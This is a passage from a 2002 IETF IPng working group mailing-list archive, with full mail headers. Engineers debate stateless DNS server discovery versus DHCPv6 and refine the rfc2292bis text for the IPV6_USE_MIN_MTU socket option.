DNS is the only service that needs to be discovered today, I think that's unlikely to remain true in the future. In particular, I strongly suspect that NTP (well, some kind of time protocol) will be required to verify DNSSEC signatures. I am aware that some people don't think that end nodes will ever need to do that, but I think that those people are confused. For more information on this subject, please see the draft that Derek Atkins and I wrote about DNS threats and the extent to which DNSSEC can be used to combat them. > Maybe that's not a good enough justification for the draft, but I'm > failing to see any concrete side effects that would result from > using this extremely simple draft. Multiple mechanisms that do the same thing with no significant benefit from the choice are not harmless if they both have to be implmented. They cost in code size, program complexity, increased vulnerability to clever attacks, and so forth. In this case, since the mechanism being proposed is (IMNSHO) inferior to a mechanism that already exists, I don't see the point of the exercise. > Which is a usual problem with philosophical arguments. Not that I'm > underestimating the value of philosophical arguments. Glad there's something on which we can agree. :) --Rob -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 15 15:45:15 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3FMjFIA028117; Mon, 15 Apr 2002 15:45:15 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3FMjEZW028114; Mon, 15 Apr 2002 15:45:14 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3FMjDIA028106 for ; Mon, 15 Apr 2002 15:45:13 -0700 (PDT) Received: from stinker.eng.sun.com (localhost [IPv6:::1]) by stinker.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g3FMjCU8005222 for ; Mon, 15 Apr 2002 15:45:12 -0700 (PDT) Received: (from jrh@localhost) by stinker.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g3FMjCim005221 for ipng@sunroof.eng.sun.com; Mon, 15 Apr 2002 15:45:12 -0700 (PDT) Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3C4o9IA019184 for ; Thu, 11 Apr 2002 21:50:09 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id VAA22370 for ; Thu, 11 Apr 2002 21:50:11 -0700 (PDT) Received: from hebe.or.intel.com (jffdns02.or.intel.com [134.134.248.4]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id WAA26211 for ; Thu, 11 Apr 2002 22:50:10 -0600 (MDT) Received: from orsmsxvs040.jf.intel.com (orsmsxvs040.jf.intel.com [192.168.65.206]) by hebe.or.intel.com (8.11.6/8.11.6/d: solo.mc,v 1.33 2002/04/09 21:19:32 root Exp $) with SMTP id g3C4oA019078 for ; Fri, 12 Apr 2002 04:50:10 GMT Received: from orsmsx26.jf.intel.com ([192.168.65.26]) by orsmsxvs040.jf.intel.com (NAVGW 2.5.1.16) with SMTP id M2002041121570221776 for ; Thu, 11 Apr 2002 21:57:02 -0700 Received: by orsmsx26.jf.intel.com with Internet Mail Service (5.5.2653.19) id <2J3VRPG6>; Thu, 11 Apr 2002 21:50:10 -0700 Message-ID: From: "Buraga, Partha S" To: "'ipng@sunroof.eng.sun.com'" Subject: Failure of Source Address Date: Thu, 11 Apr 2002 21:47:59 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="ISO-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi In Multihoming scenario, Let us assume that, we selected a source IP address, using IP_HDRINCLD(IPV4) option, for outgoing packet. My doubts are, 1) If selected address( NIC ) fails, Will the packet be delivered into network ? 2) What will be the source address of outgoing packet ? 3) What is the path(interface )selected by Kernel to deliver the packet into network ? In IPV6, there is no IP_HDRINCLD option. 4) How can we select Source address in IPV6 thanks in advance partha -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 15 15:45:54 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3FMjsIA028137; Mon, 15 Apr 2002 15:45:54 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3FMjsT3028136; Mon, 15 Apr 2002 15:45:54 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3FMjqIA028129 for ; Mon, 15 Apr 2002 15:45:52 -0700 (PDT) Received: from stinker.eng.sun.com (localhost [IPv6:::1]) by stinker.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g3FMjpU8005232 for ; Mon, 15 Apr 2002 15:45:51 -0700 (PDT) Received: (from jrh@localhost) by stinker.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g3FMjpAs005231 for ipng@sunroof.eng.sun.com; Mon, 15 Apr 2002 15:45:51 -0700 (PDT) Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3CDoTIA020167 for ; Fri, 12 Apr 2002 06:50:29 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA21752 for ; Fri, 12 Apr 2002 06:50:31 -0700 (PDT) Received: from cisco.com (cypher.cisco.com [171.69.11.18]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id HAA09422 for ; Fri, 12 Apr 2002 07:50:30 -0600 (MDT) Received: (from eckert@localhost) by cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) id GAA28054; Fri, 12 Apr 2002 06:49:55 -0700 (PDT) Date: Fri, 12 Apr 2002 06:49:54 -0700 From: Toerless Eckert To: "JINMEI Tatuya / ?$B?@L@C#:H?(B" Cc: Erik Nordmark , Toerless Eckert , matt@3am-software.com, ipng@sunroof.eng.sun.com Subject: Re: rfc2292bis text proposal Message-ID: <20020412064954.O17663@cypher.cisco.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from jinmei@isl.rdc.toshiba.co.jp on Fri, Apr 12, 2002 at 08:48:00PM +0900 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Jinmei, My concern was to change the default. Your text below seem to indicate this, so it would solve my concern. As far as your text is concerned, I would love to see more explicitly the sentence "the default setting of this option for a socket is -1". In addition, i would strongly recommend to call this the "API default" instead of the "kernel default", because "kernel default" sounds as if it is up to the kernel to decide what the default is (i.e.: i am worried that some kernel developer could think that he can decide what to do in the -1 case). But that's probably just me being paranoid. Beside this, i would just argue that psychologically i'd love to see the differentiation UNICAST/MULTICAST to show up in the API parameters explicitly to help developes think about the difference, but that's just cosmetic. I agree with you that just a _MULTICAST_ option like Eric sugested is a bit confusing, but i have no strong opinions here. The real advantage of NOT using IPV6_USE_MIN_MTU is to catch the hopefully small/non-existing number of applications who already think that the value 0 to it is the default and thus set it. Thanks Toerless On Fri, Apr 12, 2002 at 08:48:00PM +0900, JINMEI Tatuya / ?$B?@L@C#:H?(B wrote: > >>>>> On Thu, 11 Apr 2002 18:26:32 +0200 (CEST), > >>>>> Erik Nordmark said: > > > Is there a middle ground where the API can be made more clear > > than using "-1" without having to replace IPV6_USE_MIN_MTU? > > > We already have IPV6_option and IPV6_MULTICAST_option in some cases. > > Thus would it make sense to > > 1) declare the IPV6_USE_MIN_MTU only applies to unicast. > > 2) define a new IPV6_MULTICAST_USE_MIN_MTU whose default would be "true". > > This is essentially the same idea of the original proposal...the > problem of this approach is that programmers would wonder "why > does IPV6_USE_MIN_MTU not contain "UNICAST" but the use of it is > limited to unicast?". I don't think this makes the API "more clear". > Either way we'll need to describe the background and its limitation > clearly, and if so, I'd prefer to keep the number of options. > > Actually I can make a compromise with either approach *if we can make > a quick consensus*. To make the approach I proposed clearer, I've > attached concrete text for the revised version of IPV6_USE_MIN_MTU > according to my proposal. If we can live with this (though you may > prefer the other one), please let us go. > > Thanks, > > JINMEI, Tatuya > Communication Platform Lab. > Corporate R&D Center, Toshiba Corp. > jinmei@isl.rdc.toshiba.co.jp > > === > 11.1. Sending with the Minimum MTU > > Unicast applications should usually let the kernel to perform path > MTU discovery, as long as the kernel support it, and should not > care about the path MTU. Some applications, however, might not > want to incur the overhead of path MTU discovery, especially if the > applications only send a single datagram to a destination. A > potential example is a DNS server. > > Also, path MTU discovery for multicast has severe scalability > limitations and should thus be avoided. > > This specification defines a mechanism to avoid path MTU discovery by > sending at the minimum IPv6 MTU [RFC-2460]. If the packet is larger > than the minimum MTU and this feature has been enabled the IP layer > will fragment to the minimum MTU. To control the policy about path > MTU discovery, applications can use the IPV6_USE_MIN_MTU socket > option. > > As described above, the default policy should depend on whether the > destination is unicast or multicast. For unicast destinations path > MTU discovery should be performed by default. For multicast > destinations path MTU discovery should be disabled by default. > This option thus takes the following three types of integer > arguments, > > x == -1: use kernel default. That is, perform path MTU discovery > for unicast, and disable it for multicast. > x == 0: always perform path MTU discovery. > x >= 1: always disable path MTU discovery and send packets at > the minimum MTU. > (values less than -1 are invalid.) > > For example, if a unicast application intentionally wants to > disable path MTU discovery, it will add the following lines: > > int on = 1; > setsockopt(fd, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &on, sizeof(on)); > > This option can also be sent as ancillary data. In the cmsghdr > structure containing this ancillary data, the cmsg_level member > will be IPPROTO_IPV6, the cmsg_type member will be > IPV6_USE_MIN_MTU, and the first byte of cmsg_data[] will be the > first byte of the integer. -- Thanks Toerless Eckert -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 15 19:12:29 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3G2CRIA028770; Mon, 15 Apr 2002 19:12:28 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3G2CPkl028769; Mon, 15 Apr 2002 19:12:25 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from bebop.France.Sun.COM (bebop.France.Sun.COM [129.157.174.15]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3G2CLIA028762 for ; Mon, 15 Apr 2002 19:12:21 -0700 (PDT) Received: from lillen (ebayhobo173.EBay.Sun.COM [129.150.99.70]) by bebop.France.Sun.COM (8.11.6+Sun/8.10.2/ENSMAIL,v2.2) with SMTP id g3G2CGx29094; Tue, 16 Apr 2002 04:12:16 +0200 (MEST) Date: Tue, 16 Apr 2002 04:11:47 +0200 (CEST) From: Erik Nordmark Reply-To: Erik Nordmark Subject: Re: rfc2292bis text proposal To: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= Cc: Erik Nordmark , Toerless Eckert , matt@3am-software.com, ipng@sunroof.eng.sun.com Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > x == -1: use kernel default. That is, perform path MTU discovery > for unicast, and disable it for multicast. > x == 0: always perform path MTU discovery. > x >= 1: always disable path MTU discovery and send packets at > the minimum MTU. > (values less than -1 are invalid.) I'd restate the text for -1 to say something like: Perform path MTU discovery for unicast destinations but do not perform it for multicast destinations. Packets to multicast destinations are therefor sent with the minimum MTU. and separately state that The default value of this option is -1. Why the x >=1 as opposed to x == 1? To be compatible with existing applications? The reason I'm asking is because it looks a bit odd to disallow less than -1 when greater than 1 is allowed. Erik -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 15 19:48:01 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3G2m1IA028936; Mon, 15 Apr 2002 19:48:01 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3G2m1sM028935; Mon, 15 Apr 2002 19:48:01 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3G2lvIA028928 for ; Mon, 15 Apr 2002 19:47:57 -0700 (PDT) Received: from nwkea-mail-1.sun.com ([192.18.42.13]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id TAA20045 for ; Mon, 15 Apr 2002 19:48:02 -0700 (PDT) Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id TAA01914 for ; Mon, 15 Apr 2002 19:48:01 -0700 (PDT) Received: from itojun.org (localhost [127.0.0.1]) by coconut.itojun.org (Postfix) with ESMTP id 167ED4B22 for ; Tue, 16 Apr 2002 11:47:58 +0900 (JST) To: ipng@sunroof.eng.sun.com In-reply-to: sra+ipng's message of Mon, 15 Apr 2002 17:49:56 -0400. <20020415214956.B139B1BFF@thrintun.hactrn.net> X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: Stateless DNS discovery draft From: itojun@iijlab.net Date: Tue, 16 Apr 2002 11:47:58 +0900 Message-ID: <1402.1018925278@itojun.org> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk speaking from RFC246[012] behavior point of view... >To be clear (well, clearer): when I suggested using DHCP in order to >locate DNS servers, I meant that entities that wish to locate an >entity that functions in the server role of the DNS protocol when >contacted at UDP port 53 might well do so by issuing DHCPv6 >Information-Request messages and listening for relevant responses. >For the cases where the proposal you're talking about works at all, >the two are semantically equivilent except for details of well-known >port number, packet encoding, and the set of tricks used to propagate >the queries and responses across routers. this "Information-Request" behavior happens only when O bit is set in router advertisement packet (see RFC2461 page 19). the problem "stateless DNS discovery" draft is trying to address is, how to discover DNS server when O bit is not set. btw - it is still unclear to me if "administered (stateful) mechanism" mentioned in RFC2461 is DHCPv6, or some other protocol. it is not explicitly stated anywhere. itojun -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 15 23:01:02 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3G612IA029117; Mon, 15 Apr 2002 23:01:02 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3G612mx029116; Mon, 15 Apr 2002 23:01:02 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3G60xIA029109 for ; Mon, 15 Apr 2002 23:00:59 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id XAA03112 for ; Mon, 15 Apr 2002 23:01:03 -0700 (PDT) Received: from thrintun.hactrn.net (dsl092-066-067.bos1.dsl.speakeasy.net [66.92.66.67]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id AAA07411 for ; Tue, 16 Apr 2002 00:01:02 -0600 (MDT) Received: from thrintun.hactrn.net (localhost [127.0.0.1]) by thrintun.hactrn.net (Postfix) with ESMTP id D5D841C46 for ; Tue, 16 Apr 2002 02:01:01 -0400 (EDT) Date: Tue, 16 Apr 2002 02:01:01 -0400 From: Rob Austein To: ipng@sunroof.eng.sun.com Subject: Re: Stateless DNS discovery draft In-Reply-To: <1402.1018925278@itojun.org> User-Agent: Wanderlust/2.4.1 (Stand By Me) SEMI/1.13.7 (Awazu) FLIM/1.13.2 (Kasanui) Emacs/20.7 (i386--freebsd) MULE/4.0 (HANANOEN) References: <1402.1018925278@itojun.org> MIME-Version: 1.0 (generated by SEMI 1.13.7 - "Awazu") Content-Type: text/plain; charset=US-ASCII Message-Id: <20020416060101.D5D841C46@thrintun.hactrn.net> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk At Tue, 16 Apr 2002 11:47:58 +0900, Jun-ichiro itojun Hagino wrote: > > this "Information-Request" behavior happens only when O bit is set in > router advertisement packet (see RFC2461 page 19). the problem > "stateless DNS discovery" draft is trying to address is, how to > discover DNS server when O bit is not set. Thanks for the specific reference. Right, RFCs 2461 and 2462 say that one should only use the "stateful" configuration mechanism when the "O" bit (or the "M" bit) is set, but given that DHCPv6 Information Request is stateless (except in the sense that "stateful" is sometimes used as a euphemism for "DHCP"), I don't see the text in RFCs 2461 and 2462 as settling this one way or the other. To reiterate (briefly): the stateless/stateful distinction makes sense for address configuration. For non-address-configuration, all the protocols we're talking about are stateless. > btw - it is still unclear to me if "administered (stateful) mechanism" > mentioned in RFC2461 is DHCPv6, or some other protocol. > it is not explicitly stated anywhere. Right, DHCPv6 is cited as an example, but that's all. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 15 23:34:13 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3G6YCIA029147; Mon, 15 Apr 2002 23:34:12 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3G6YC97029146; Mon, 15 Apr 2002 23:34:12 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3G6Y9IA029139 for ; Mon, 15 Apr 2002 23:34:09 -0700 (PDT) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id XAA12451 for ; Mon, 15 Apr 2002 23:34:12 -0700 (PDT) From: john.loughney@nokia.com Received: from mgw-x2.nokia.com (mgw-x2.nokia.com [131.228.20.22]) by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id XAA17515 for ; Mon, 15 Apr 2002 23:34:11 -0700 (PDT) Received: from esvir03nok.nokia.com (esvir03nokt.ntc.nokia.com [172.21.143.35]) by mgw-x2.nokia.com (Switch-2.2.1/Switch-2.2.0) with ESMTP id g3G6YQ508197 for ; Tue, 16 Apr 2002 09:34:26 +0300 (EET DST) Received: from esebh002.NOE.Nokia.com (unverified) by esvir03nok.nokia.com (Content Technologies SMTPRS 4.2.5) with ESMTP id for ; Tue, 16 Apr 2002 09:34:08 +0300 Received: from esebe004.NOE.Nokia.com ([172.21.138.44]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.3779); Tue, 16 Apr 2002 09:34:08 +0300 X-MimeOLE: Produced By Microsoft Exchange V6.0.5762.3 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Subject: Updated "IPv6 for Second and Third Generation Cellular Hosts" draft Date: Tue, 16 Apr 2002 09:34:08 +0300 Message-ID: <0C1353ABB1DEB74DB067ADFF749C4EEFD38DA8@esebe004.NOE.Nokia.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Listen sockets and scoped addressing? Thread-Index: AcHiQfCt5e+DqyR3QrSXcH/5ln/LtQCzZw9A To: X-OriginalArrivalTime: 16 Apr 2002 06:34:08.0739 (UTC) FILETIME=[B6837330:01C1E510] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id g3G6Y9IA029140 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi all, Based upon the comments we received, on the mailing list and at the Minneapolis meeting, the authors have updated the "IPv6 for Second and Third Generation Cellular Hosts" draft. As you can see, we have updated the draft title, but that's not all. We've added a section 'Scope of This Document' in order to better clarify in what circumstances this draft is intended for. We've tried to ensure that this information draft does not contradict standard tracks documents on IPv6. Additionally, we have removed recommendations on Internet Drafts which are not yet near completion. We would appreciate feedback on this work, in order to move forward with the document's status. Please let us know if the scoping of the document is now better; if there are still contradictions with the documents recommendations or any other comments are appreciated. Until the draft is announced, a copy of the draft can be found here: http://www-nrc.nokia.com/sua/draft-ietf-ipv6-cellular-host-01.txt Thanks, John -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 16 06:52:51 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3GDqpIA029890; Tue, 16 Apr 2002 06:52:51 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3GDqpY5029889; Tue, 16 Apr 2002 06:52:51 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3GDqmIA029882 for ; Tue, 16 Apr 2002 06:52:48 -0700 (PDT) Received: from nwkea-mail-1.sun.com ([192.18.42.13]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA02825 for ; Tue, 16 Apr 2002 06:52:47 -0700 (PDT) Received: from brandenburg.cs.mu.OZ.AU (96-1.nat.psu.ac.th [202.28.96.1]) by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA28172 for ; Tue, 16 Apr 2002 06:52:45 -0700 (PDT) Received: from brandenburg.cs.mu.OZ.AU (localhost [127.0.0.1]) by brandenburg.cs.mu.OZ.AU (8.11.0/8.11.0) with ESMTP id g3GDuBO02141; Tue, 16 Apr 2002 20:56:15 +0700 (ICT) From: Robert Elz To: Rob Austein cc: ipng@sunroof.eng.sun.com Subject: Re: Stateless DNS discovery draft In-Reply-To: <20020416060101.D5D841C46@thrintun.hactrn.net> References: <20020416060101.D5D841C46@thrintun.hactrn.net> <1402.1018925278@itojun.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 16 Apr 2002 20:56:11 +0700 Message-ID: <2139.1018965371@brandenburg.cs.mu.OZ.AU> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Date: Tue, 16 Apr 2002 02:01:01 -0400 From: Rob Austein Message-ID: <20020416060101.D5D841C46@thrintun.hactrn.net> | To reiterate (briefly): the stateless/stateful distinction makes sense | for address configuration. For non-address-configuration, all the | protocols we're talking about are stateless. Yes, "stateless" is the wrong word - what people are mostly meaning is "adminstratorless" or "configuration free" or similar - that is, it all just works without anyone configuring anything, anywhere. Whether this makes any sense at all for the DNS is debatable, but perhaps it might be nice to not require configuration of any more than the DNS server (ie: configure zone files, and everything else is automatic - if the zone files are setup for dynamic DNS, then the initial configured file would need no more than SOA and NS records - nodes should automatically (somehow) find the server, and then add themselves to it when they have allocated themselves addresses). Much of this may be pipe dream time, as at the very least, something needs to be telling the nodes what domain to use... The "server" that is mostly talked about is the any thing that would require any kind of configuration in order to supply information to a node. kre -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 16 07:07:05 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3GE75IA029913; Tue, 16 Apr 2002 07:07:05 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3GE74Xk029912; Tue, 16 Apr 2002 07:07:04 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3GE6VIA029905 for ; Tue, 16 Apr 2002 07:07:00 -0700 (PDT) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA21050 for ; Tue, 16 Apr 2002 07:06:33 -0700 (PDT) Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124]) by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA12810 for ; Tue, 16 Apr 2002 07:06:33 -0700 (PDT) Received: from localhost ([3ffe:501:4819:2000:200:39ff:fed9:21d7]) by shuttle.wide.toshiba.co.jp (8.11.6/8.9.1) with ESMTP id g3GE6Io08643; Tue, 16 Apr 2002 23:06:19 +0900 (JST) Date: Tue, 16 Apr 2002 23:06:20 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: Erik Nordmark Cc: Toerless Eckert , matt@3am-software.com, ipng@sunroof.eng.sun.com Subject: Re: rfc2292bis text proposal In-Reply-To: References: User-Agent: Wanderlust/2.6.1 (Upside Down) Emacs/21.1 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII X-Dispatcher: imput version 20000228(IM140) Lines: 38 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >>>>> On Tue, 16 Apr 2002 04:11:47 +0200 (CEST), >>>>> Erik Nordmark said: >> x == -1: use kernel default. That is, perform path MTU discovery >> for unicast, and disable it for multicast. >> x == 0: always perform path MTU discovery. >> x >= 1: always disable path MTU discovery and send packets at >> the minimum MTU. >> (values less than -1 are invalid.) > I'd restate the text for -1 to say something like: > Perform path MTU discovery for unicast destinations but do not > perform it for multicast destinations. Packets to multicast > destinations are therefor sent with the minimum MTU. > and separately state that > The default value of this option is -1. Okay. > Why the x >=1 as opposed to x == 1? To be compatible with existing > applications? > The reason I'm asking is because it looks a bit odd to disallow less than -1 > when greater than 1 is allowed. I was afraid that there may be an existing implementation which tries to set a positive but !=1 value to set the IPV6_USE_MIN_MTU option. But, this is probably an imaginary fear...actually all implementations that I know of use the value 1 for this purpose. So, I basically agree that it is more natural to restrict the positive value (to 1) as well. If there's no other opinion on this point, I'll restrict the positive value in the revised text. JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 16 07:50:30 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3GEoTIA029994; Tue, 16 Apr 2002 07:50:30 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3GEoT3U029993; Tue, 16 Apr 2002 07:50:29 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to 